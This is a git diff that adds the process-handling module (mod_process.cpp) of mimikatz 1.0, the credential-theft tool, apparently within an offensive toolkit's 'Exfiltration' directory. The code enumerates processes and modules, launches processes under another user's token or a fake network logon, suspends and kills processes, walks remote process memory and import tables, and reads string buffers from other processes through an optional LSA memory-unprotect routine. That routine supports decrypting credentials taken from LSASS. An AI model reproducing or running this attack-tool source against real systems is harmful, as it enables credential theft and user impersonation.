aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/modules/mod_process.cpp
diff options
context:
space:
mode:
Diffstat (limited to 'Exfiltration/mimikatz-1.0/modules/mod_process.cpp')
-rw-r--r--Exfiltration/mimikatz-1.0/modules/mod_process.cpp473
1 files changed, 473 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.cpp b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp
new file mode 100644
index 0000000..d000f41
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp
@@ -0,0 +1,473 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_process.h"
+
+bool mod_process::getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName)
+{
+ HANDLE hProcessesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if(hProcessesSnapshot != INVALID_HANDLE_VALUE)
+ {
+ PROCESSENTRY32 monProcessus;
+ monProcessus.dwSize = sizeof(PROCESSENTRY32);
+
+ if(Process32First(hProcessesSnapshot, &monProcessus))
+ {
+ do
+ {
+ if(!processName || (_wcsicmp(processName->c_str(), monProcessus.szExeFile) == 0))
+ {
+ KIWI_PROCESSENTRY32 monProcessK = {
+ monProcessus.dwSize,
+ monProcessus.cntUsage,
+ monProcessus.th32ProcessID,
+ monProcessus.th32DefaultHeapID,
+ monProcessus.th32ModuleID,
+ monProcessus.cntThreads,
+ monProcessus.th32ParentProcessID,
+ monProcessus.pcPriClassBase,
+ monProcessus.dwFlags,
+ monProcessus.szExeFile
+ };
+
+ maProcessesvector->push_back(monProcessK);
+ }
+ } while(Process32Next(hProcessesSnapshot, &monProcessus));
+ }
+ CloseHandle(hProcessesSnapshot);
+ return true;
+ }
+ else
+ {
+ return false;
+ }
+}
+
+bool mod_process::getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName)
+{
+ bool reussite = false;
+
+ vector<KIWI_PROCESSENTRY32> * mesProcesses = new vector<KIWI_PROCESSENTRY32>();
+
+ if(getList(mesProcesses, processName))
+ {
+ if(reussite = (mesProcesses->size() == 1))
+ {
+ *monProcess = mesProcesses->front();
+ }
+ }
+ delete mesProcesses;
+ return reussite;
+}
+
+bool mod_process::getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName, DWORD * processId)
+{
+ bool reussite = false;
+
+ vector<KIWI_MODULEENTRY32> * monVecteurDeModule = new vector<KIWI_MODULEENTRY32>();
+ if(mod_process::getModulesListForProcessId(monVecteurDeModule, processId))
+ {
+ if(!moduleName)
+ {
+ *monModule = *(monVecteurDeModule->begin());
+ reussite = true;
+ }
+ else
+ {
+ for(vector<KIWI_MODULEENTRY32>::iterator leModule = monVecteurDeModule->begin(); leModule != monVecteurDeModule->end(); leModule++)
+ {
+ if(_wcsicmp(leModule->szModule.c_str(), moduleName->c_str()) == 0)
+ {
+ *monModule = *leModule;
+ reussite = true;
+ break;
+ }
+ }
+ }
+ }
+ delete monVecteurDeModule;
+
+ return reussite;
+}
+
+bool mod_process::getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId)
+{
+ HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, (processId ? *processId : 0));
+
+ if(hModuleSnapshot != INVALID_HANDLE_VALUE)
+ {
+ MODULEENTRY32 monModule;
+ monModule.dwSize = sizeof(MODULEENTRY32);
+
+ if(Module32First(hModuleSnapshot, &monModule))
+ {
+ do
+ {
+ KIWI_MODULEENTRY32 monModuleK = {
+ monModule.dwSize,
+ monModule.th32ModuleID,
+ monModule.th32ProcessID,
+ monModule.GlblcntUsage,
+ monModule.ProccntUsage,
+ monModule.modBaseAddr,
+ monModule.modBaseSize,
+ monModule.hModule,
+ monModule.szModule,
+ monModule.szExePath
+ };
+ maModulevector->push_back(monModuleK);
+ } while(Module32Next(hModuleSnapshot, &monModule));
+ }
+ CloseHandle(hModuleSnapshot);
+ return true;
+ }
+ else
+ {
+ return false;
+ }
+}
+
+bool mod_process::start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused, bool aUsurper, HANDLE leToken)
+{
+ bool reussite = false;
+ RtlZeroMemory(mesInfosProcess, sizeof(PROCESS_INFORMATION));
+ STARTUPINFO mesInfosDemarrer;
+ RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO));
+ mesInfosDemarrer.cb = sizeof(STARTUPINFO);
+
+ wchar_t * commandLine = new wchar_t[maCommandLine->size() + 1];
+ maCommandLine->_Copy_s(commandLine, maCommandLine->size(), maCommandLine->size());
+ commandLine[maCommandLine->size()] = L'\0';
+
+ DWORD creationFlag = CREATE_NEW_CONSOLE | (paused ? CREATE_SUSPENDED : NULL);
+
+ if(leToken)
+ reussite = CreateProcessAsUser(leToken, NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
+ else if(aUsurper)
+ reussite = CreateProcessWithLogonW(L"mimikatzU", L"mimikatzD", L"mimikatzP", LOGON_NETCREDENTIALS_ONLY, NULL, commandLine, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
+ else
+ reussite = CreateProcess(NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0;
+
+ delete[] commandLine;
+ return reussite;
+}
+
+bool mod_process::suspend(DWORD & processId)
+{
+ bool reussite = false;
+
+ if(PNT_SUSPEND_PROCESS NtSuspendProcess = reinterpret_cast<PNT_SUSPEND_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSuspendProcess")))
+ {
+ HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId);
+ if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
+ {
+ reussite = NT_SUCCESS(NtSuspendProcess(monHandle));
+ CloseHandle(monHandle);
+ }
+ }
+ return reussite;
+}
+
+bool mod_process::resume(DWORD & processId)
+{
+ bool reussite = false;
+
+ if(PNT_RESUME_PROCESS NtResumeProcess = reinterpret_cast<PNT_RESUME_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtResumeProcess")))
+ {
+ HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId);
+ if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
+ {
+ reussite = NT_SUCCESS(NtResumeProcess(monHandle));
+ CloseHandle(monHandle);
+ }
+ }
+ return reussite;
+}
+
+bool mod_process::stop(DWORD & processId, DWORD exitCode)
+{
+ bool reussite = false;
+
+ HANDLE monHandle = OpenProcess(PROCESS_TERMINATE, false, processId);
+ if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE))
+ {
+ reussite = (TerminateProcess(monHandle, exitCode) != 0);
+ CloseHandle(monHandle);
+ }
+ return reussite;
+}
+
+bool mod_process::debug(DWORD & processId)
+{
+ return (DebugActiveProcess(processId) != 0);
+}
+
+bool mod_process::getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle)
+{
+ bool reussite = false;
+
+ if(processHandle == INVALID_HANDLE_VALUE)
+ processHandle = GetCurrentProcess();
+
+ if(PNT_QUERY_INFORMATION_PROCESS NtQueryInformationProcess = reinterpret_cast<PNT_QUERY_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryInformationProcess")))
+ {
+ ULONG sizeReturn;
+ reussite = NT_SUCCESS(NtQueryInformationProcess(processHandle, ProcessBasicInformation, mesInfos, sizeof(PROCESS_BASIC_INFORMATION), &sizeReturn)) && (sizeReturn == sizeof(PROCESS_BASIC_INFORMATION));
+ }
+ return reussite;
+}
+
+bool mod_process::getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId)
+{
+ bool reussite = false;
+
+ HANDLE handleProcess = OpenProcess(PROCESS_QUERY_INFORMATION , false, processId);
+ if(handleProcess && handleProcess != INVALID_HANDLE_VALUE)
+ {
+ HANDLE handleProc;
+ if(OpenProcessToken(handleProcess, TOKEN_READ, &handleProc) != 0)
+ {
+ DWORD ddNeededSize;
+ TOKEN_STATISTICS tokenStats;
+
+ if(reussite = (GetTokenInformation(handleProc, TokenStatistics, &tokenStats, sizeof(tokenStats), &ddNeededSize) != 0))
+ {
+ AuthentificationId = tokenStats.AuthenticationId;
+ }
+ CloseHandle(handleProc);
+ }
+ CloseHandle(handleProcess);
+ }
+
+ return reussite;
+}
+
+bool mod_process::getPeb(PEB * peb, HANDLE processHandle)
+{
+ bool reussite = false;
+ PROCESS_BASIC_INFORMATION * mesInfos = new PROCESS_BASIC_INFORMATION();
+ if(getProcessBasicInformation(mesInfos, processHandle))
+ {
+ reussite = mod_memory::readMemory(mesInfos->PebBaseAddress, peb, sizeof(PEB), processHandle);
+ }
+ delete mesInfos;
+ return reussite;
+}
+
+bool mod_process::getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess)
+{
+ bool reussite = false;
+
+ BYTE * baseAddr = ptrBaseAddr;
+
+ BYTE * ayIMAGE_DOS_HEADER = new BYTE[sizeof(IMAGE_DOS_HEADER)];
+ if(mod_memory::readMemory(baseAddr, ayIMAGE_DOS_HEADER, sizeof(IMAGE_DOS_HEADER), handleProcess))
+ {
+ PIMAGE_DOS_HEADER structDOSHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(ayIMAGE_DOS_HEADER);
+ if(!IsBadReadPtr(structDOSHeader, sizeof(IMAGE_DOS_HEADER)) && structDOSHeader->e_magic == IMAGE_DOS_SIGNATURE)
+ {
+ BYTE * ayIMAGE_NT_HEADERS = new BYTE[sizeof(IMAGE_NT_HEADERS)];
+ if(mod_memory::readMemory(baseAddr + structDOSHeader->e_lfanew, ayIMAGE_NT_HEADERS, sizeof(IMAGE_NT_HEADERS), handleProcess))
+ {
+ PIMAGE_NT_HEADERS structPEHeader = reinterpret_cast<PIMAGE_NT_HEADERS>(ayIMAGE_NT_HEADERS);
+ if(!IsBadReadPtr(structPEHeader, sizeof(IMAGE_NT_HEADERS)) && structPEHeader->Signature == IMAGE_NT_SIGNATURE)
+ {
+ if(structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != NULL && structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0)
+ {
+ BYTE * ayIMAGE_IMPORT_DESCRIPTOR = new BYTE[structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size];
+ if(mod_memory::readMemory(baseAddr + structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, ayIMAGE_IMPORT_DESCRIPTOR, structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, handleProcess))
+ {
+ PIMAGE_IMPORT_DESCRIPTOR structImportDesc = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(ayIMAGE_IMPORT_DESCRIPTOR);
+ if(reussite = !IsBadReadPtr(structImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)))
+ {
+ while(structImportDesc->Characteristics)
+ {
+ DWORD i = 0;
+
+ BYTE * ayIMAGE_THUNK_DATA_HintName = new BYTE[sizeof(IMAGE_THUNK_DATA)];
+ BYTE * ayIMAGE_THUNK_DATA_IAT = new BYTE[sizeof(IMAGE_THUNK_DATA)];
+
+ vector<KIWI_IAT_MODULE> mesImports;
+
+ for(;;)
+ {
+ if(
+ mod_memory::readMemory(baseAddr + structImportDesc->OriginalFirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_HintName, sizeof(IMAGE_THUNK_DATA), handleProcess)
+ &&
+ mod_memory::readMemory(baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_IAT, sizeof(IMAGE_THUNK_DATA), handleProcess)
+ )
+ {
+ PIMAGE_THUNK_DATA HintNameArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_HintName);
+ PIMAGE_THUNK_DATA IATArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_IAT);
+
+ if(HintNameArray->u1.Function)
+ {
+ KIWI_IAT_MODULE imageIAT = {
+ baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA) + FIELD_OFFSET(IMAGE_THUNK_DATA, u1.Function),
+ reinterpret_cast<PVOID>(IATArray->u1.Function),
+ 0,
+ string()
+ };
+
+ if(HintNameArray->u1.Ordinal & IMAGE_ORDINAL_FLAG)
+ {
+ imageIAT.Ordinal = IMAGE_ORDINAL(HintNameArray->u1.Ordinal);
+ }
+ else
+ {
+ BYTE monTab[] = {0};
+ long offsetToNull;
+ if(mod_memory::searchMemory(baseAddr + HintNameArray->u1.AddressOfData + FIELD_OFFSET(IMAGE_IMPORT_BY_NAME, Name), 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess))
+ {
+ BYTE * ayIMAGE_IMPORT_BY_NAME = new BYTE[sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull];
+ if(mod_memory::readMemory(baseAddr + HintNameArray->u1.AddressOfData, ayIMAGE_IMPORT_BY_NAME, sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull, handleProcess))
+ {
+ PIMAGE_IMPORT_BY_NAME nameImg = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(ayIMAGE_IMPORT_BY_NAME);
+ imageIAT.funcName = string(reinterpret_cast<char *>(nameImg->Name));
+ }
+ delete [] ayIMAGE_IMPORT_BY_NAME;
+ }
+ }
+
+ mesImports.push_back(imageIAT);
+ i++;
+ }
+ else break;
+ }
+ else break;
+ }
+
+ delete[] ayIMAGE_THUNK_DATA_IAT;
+ delete[] ayIMAGE_THUNK_DATA_HintName;
+
+ BYTE monTab[] = {0};
+ long offsetToNull;
+
+ if(mod_memory::searchMemory(baseAddr + structImportDesc->Name, 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess))
+ {
+ char * maLib = new char[offsetToNull+1];
+ if(mod_memory::readMemory(baseAddr + structImportDesc->Name, maLib, offsetToNull+1, handleProcess))
+ {
+ monIAT->push_back(make_pair(string(maLib), mesImports));
+ }
+ delete [] maLib;
+ }
+
+ structImportDesc++;
+ }
+ }
+ }
+ delete[] ayIMAGE_IMPORT_DESCRIPTOR;
+ }
+ }
+ }
+ delete[] ayIMAGE_NT_HEADERS;
+ }
+ }
+ delete[] ayIMAGE_DOS_HEADER;
+
+ return reussite;
+}
+
+bool mod_process::getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess)
+{
+ bool reussite = false;
+ bool tabOk = false;
+
+ vector<mod_process::KIWI_PROCESSENTRY32> * monTab;
+
+ if(!mesProcess)
+ {
+ monTab = new vector<mod_process::KIWI_PROCESSENTRY32>();
+ tabOk = mod_process::getList(monTab);
+ }
+ else
+ {
+ monTab = mesProcess;
+ }
+
+ if(mesProcess || tabOk)
+ {
+ for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = monTab->begin(); monProcess != monTab->end(); monProcess++)
+ {
+ if(reussite = (monProcess->th32ProcessID == processId))
+ {
+ *processKiwi = *monProcess;
+ break;
+ }
+ }
+ }
+
+ if(!mesProcess)
+ {
+ delete monTab;
+ }
+
+ return reussite;
+}
+
+bool mod_process::getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle)
+{
+ bool reussite = false;
+ PEB * monPeb = new PEB();
+ if(getPeb(monPeb, processHandle))
+ {
+ PEB_LDR_DATA * monLoader = new PEB_LDR_DATA();
+ if(mod_memory::readMemory(monPeb->LoaderData, monLoader, sizeof(PEB_LDR_DATA), processHandle))
+ {
+ PBYTE aLire, fin;
+ LDR_DATA_TABLE_ENTRY monEntry;
+ for(
+ aLire = PBYTE(monLoader->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks),
+ fin = (PBYTE) (monPeb->LoaderData) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector);
+ aLire != fin;
+ aLire = (PBYTE) monEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)
+ )
+ {
+ if(reussite = mod_memory::readMemory(aLire, &monEntry, sizeof(monEntry), processHandle))
+ {
+ KIWI_VERY_BASIC_MODULEENTRY monModule = {
+ reinterpret_cast<PBYTE>(monEntry.DllBase),
+ monEntry.SizeOfImage,
+ getUnicodeStringOfProcess(&monEntry.BaseDllName, processHandle)
+ };
+ monModuleVector->push_back(monModule);
+ }
+ }
+ }
+ delete monLoader;
+ }
+ delete monPeb;
+ return reussite;
+}
+
+wstring mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction)
+{
+ wstring maChaine;
+ BYTE * monBuffer = NULL;
+ if(getUnicodeStringOfProcess(ptrString, &monBuffer, process, unProtectFunction))
+ {
+ maChaine.assign(mod_text::stringOrHex(monBuffer, ptrString->Length));
+ }
+ if(monBuffer)
+ delete[] monBuffer;
+ return maChaine;
+}
+
+bool mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction)
+{
+ bool resultat = false;
+
+ if(ptrString->Buffer && (ptrString->Length > 0))
+ {
+ *monBuffer = new BYTE[ptrString->MaximumLength];
+ if(resultat = mod_memory::readMemory(ptrString->Buffer, *monBuffer, ptrString->MaximumLength, process))
+ {
+ if(unProtectFunction)
+ unProtectFunction(*monBuffer, ptrString->MaximumLength);
+ }
+ }
+ return resultat;
+} \ No newline at end of file